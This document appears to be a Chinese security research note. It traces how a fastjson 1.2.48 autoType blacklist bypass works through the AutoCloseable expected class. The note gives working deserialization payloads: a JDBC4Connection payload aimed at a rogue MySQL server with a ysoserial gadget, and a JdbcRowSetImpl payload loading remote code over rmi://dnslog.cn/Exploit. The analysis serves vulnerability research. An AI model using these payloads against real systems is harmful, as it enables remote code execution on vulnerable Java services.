0X01 fastjson 1.2.47 到 1.2.48做了什么改变
一步步跟进,找到不同的地方
fastjson/serializer/MiscCodec.class中
1.2.47
1.2.48
多了个参数 cache=false
fastjson/util/TypeUtils.class
cache为false,不把类名缓存进mappings中了。打断这个反序列化处理类对mappings的修改。
0X02 看payload (基于1.2.48)
String string = "{\"@type\":\"java.lang.AutoCloseable\"{\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3307,\"info\":{\"user\":\"yso_Jdk7u21_calc\",\"password\":\"oihnqwa\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"},\"databaseToConnectTo\":\"test\",\"url\":\"\"}";
1 为什么AutoCloseable可以
为什么没有AutoCloseable不行,因为默认被黑名单干掉了。
为什么AutoCloseable就可以了?
在反序列化AutoCloseable时,调用JavaBeanDeserializer,实现了反序列化。
2 那么,AutoCloseable可以调用所有的么?换rmi来试试
String string = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://dnslog.cn/Exploit\",\"autoCommit\":true}";
JavaBeanDeserializer.class 696 rmi,检测到和原本的不一样,重新检测一次
ParserConfig.class 827行黑名单干掉了
mysql.jdbc 也走进检测 checkAutoType了,43个黑名单类
但是经过这里的时候,没有被检测到,为什么
不应该一样被黑名单干掉么?
https://github.com/LeadroyaL/fastjson-blacklist
com.mysql.jdbc.JDBC4Connection没有在黑名单中,但是有java.net.URL
3 那么不用auto为什么就被干掉?
没有auto的, 到最后的时候被干掉了
String string = "{\"@type\":\"com.mysql.jdbc.JDBC4Connection\", \"cmd\":\"calc.exe\"}";
而加了auto close的,有expectClassFlag
String string = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.mysql.jdbc.JDBC4Connection\", \"cmd\":\"calc.exe\"}";
expectClass.isAssignableFrom 判断是不是期望类的子类
isAssignableFrom()方法:是判断是否为某个类的父类
4 这个expectClass期望类是什么
Q1 fastjson为什么要设置这个期望类
Q2 AutoCloseable本身是什么类
A2
AutoCloseable接口类的实例,将其放到try后面(我们称之为:带资源的try语句),在try结束的时候,会自动将这些资源关闭(调用close方法)
com.mysql.jdbc.JDBC4Connection是autoCloseable的实现
public class JDBC4Connection extends ConnectionImpl
public class ConnectionImpl extends ConnectionPropertiesImpl implements MySQLConnection
public interface MySQLConnection extends Connection, ConnectionProperties
public interface Connection extends java.sql.Connection, ConnectionProperties
public interface Connection extends Wrapper, AutoCloseable
Q3 满足期望类的子类,可以触发。还有别的期望类可以用么?为什么是AutoCloseable类?
A3
发现checkAutoType中存在可绕过的点,找到期望类这个利用条件,再根据checkAutoType有传入期望类的调用处,确定反序列化处理器 (基于fastjson 1.2.48源码寻找)。
两个反序列化处理器:
ThrowableDeserializer
JavaBeanDeserializer
ThrowableDeserializer是异常处理类的反序列化处理器,子类可以继承 Throwable,但很难找到继承了异常处理的还能命令执行的链。
再根据反序列化处理器来确定类
JavaBeanDeserializer
当没有命中之前程序给定的反序列化处理器就会使用JavaBeanDeserializer
而AutoCloseable会走到JavaBeanDeserializer(所以应该还有别的)
0X03 流程
String string = "{\"@type\":\"java.lang.AutoCloseable\"{\"@type\":\"com.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"127.0.0.1\",\"portToConnectTo\":3307,\"info\":{\"user\":\"yso_Jdk7u21_calc\",\"password\":\"oihnqwa\",\"statementInterceptors\":\"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\"},\"databaseToConnectTo\":\"test\",\"url\":\"\"}";
[文件] parseObject, DefaultJSONParser
// AutoCloseable通过 checkAutoType
301 clazz = this.config.checkAutoType
// 获取反序列化处理类 JavaBeanDeserializer, 并处理
320 Class deserClass = deserializer.getClass()
325 obj = deserializer.deserialze(this, clazz, fieldName);
[文件] JavaBeanDeserializer.class
// ref com.mysql.jdbc.JDBC4Connection 期望类 AutoCloseable
701 userType = config.checkAutoType(ref, expectClass, lexer.getFeatures());
[文件] parser/ParserConfig.class
// 有期望类的情况下获取class
908 clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
911 if (clazz != null) // class不为空
921 if (expectClass != null) { // 期望类也不为空
922 if (expectClass.isAssignableFrom(clazz)) // clazz是期望类的子类
924 return clazz; // 返回
[文件] JavaBeanDeserializer.class
870 object = this.beanInfo.creatorConstructor.newInstance(params);
参考:
https://y4er.com/post/fastjson-bypass-autotype-1268/